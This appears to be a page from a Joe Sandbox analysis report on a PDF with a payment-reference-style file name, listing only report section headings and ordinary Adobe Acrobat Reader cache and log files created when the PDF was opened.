System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e956b9d7-c8fe-4c75-843f-c0a997edb83d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240419145553Z-154.bmp

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3788

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Windows Analysis Report
MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf